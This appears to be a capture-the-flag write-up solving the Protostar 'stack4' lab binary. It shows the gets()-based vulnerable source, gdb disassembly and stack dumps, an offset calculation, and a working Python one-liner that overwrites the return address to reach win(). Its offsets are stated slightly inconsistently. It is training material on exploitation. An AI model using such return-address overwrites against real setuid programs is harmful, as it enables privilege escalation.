protostar - stack 4
Lets check the file type of our binary,
$ file stack4
stack4: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
Lets try running it,
$ ./stack4
monish
$ ./stack4
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
It crashes the binary if we pass random junk
So buffer overflow
occurs here
Lets view the source code for proper understanding,
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
By seeing this code we can say this is a simple ret2win buffer overflow
Lets analyse the binary using debuggers,
Disassembling main()
,
(gdb) disas main
Dump of assembler code for function main:
0x08048408 <main+0>: push ebp
0x08048409 <main+1>: mov ebp,esp
0x0804840b <main+3>: and esp,0xfffffff0
0x0804840e <main+6>: sub esp,0x50
0x08048411 <main+9>: lea eax,[esp+0x10]
0x08048415 <main+13>: mov DWORD PTR [esp],eax
0x08048418 <main+16>: call 0x804830c <gets@plt>
0x0804841d <main+21>: leave
0x0804841e <main+22>: ret
End of assembler dump.
Disassembling win()
,
(gdb) disas win
Dump of assembler code for function win:
0x080483f4 <win+0>: push ebp
0x080483f5 <win+1>: mov ebp,esp
0x080483f7 <win+3>: sub esp,0x18
0x080483fa <win+6>: mov DWORD PTR [esp],0x80484e0
0x08048401 <win+13>: call 0x804832c <puts@plt>
0x08048406 <win+18>: leave
0x08048407 <win+19>: ret
End of assembler dump.
Here buffer
space is allocated by,
0x08048411 <main+9>: lea eax,[esp+0x10]
Lets calculate the buffer space,
sub esp,0x50
0x08048411 <main+9>: lea eax,[esp+0x10]
0x08048415 <main+13>: mov DWORD PTR [esp],eax
>>> print(0x50-0x10)
64
So the buffer space is 64 bytes
To pass the program we need to return to win()
function
For a typical buffer overflow, we need to overwrite Buffer Space (buffer) + Extra Space(If there) + Base Pointer (BP) + Instruction Pointer (IP)
Lets analyse it by setting breakpoint,
(gdb) b *0x0804841d
Breakpoint 1 at 0x804841d: file stack4/stack4.c, line 16.
(gdb) r
Starting program: /opt/protostar/bin/stack4
AAAABBBBCCCCDDDDEEEEFFFF
Breakpoint 1, main (argc=1, argv=0xbffffd14) at stack4/stack4.c:16
16 stack4/stack4.c: No such file or directory.
in stack4/stack4.c
(gdb) x/2wx $ebp
0xbffffc68: 0xbffffce8 0xb7eadc76
0xbffffce8
is the Base Pointer
0xb7eadc76
is the Instruction Pointer
Lets view our stack values,
(gdb) x/30x $esp
0xbffffc10: 0xbffffc20 0xb7ec6165 0xbffffc28 0xb7eada75
0xbffffc20: 0x41414141 0x42424242 0x43434343 0x44444444
0xbffffc30: 0x45454545 0x46464646 0xbffffc00 0x08048449
0xbffffc40: 0xb7fd8304 0xb7fd7ff4 0x08048430 0xbffffc68
0xbffffc50: 0xb7ec6365 0xb7ff1040 0x0804843b 0xb7fd7ff4
0xbffffc60: 0x08048430 0x00000000 0xbffffce8 0xb7eadc76
0xbffffc70: 0x00000001 0xbffffd14 0xbffffd1c 0xb7fe1848
0xbffffc80: 0xbffffcd0 0xffffffff
So our input starts at 0xbffffc20
and BP is at 0xbffffc69
in our stack
Difference between starting point of our buffer and base pointer is,
>>> print(0xbffffc69-0xbffffc20)
73
>>> print(0xbffffc68-0xbffffc20)
72
So we need 72 bytes
from buffer
to reach Base Pointer
Length of buffer
to Base Pointer = 64 bytes
Length of Base Pointer = 4 bytes
Length of Instruction Pointer = 4 bytes
Lets try to overwrite it with junk values,
Our win()
is located at 0x080483f4
We need to overwrite Instruction Pointer(IP)
with 0x080483f4
for successful redirection to win()
Lets try our exploit,
$ python -c "print('A'*72+'B'*4+'\xf4\x83\x04\x08')" | ./stack4
code flow successfully changed
Segmentation fault
Done! we have completed “stack4”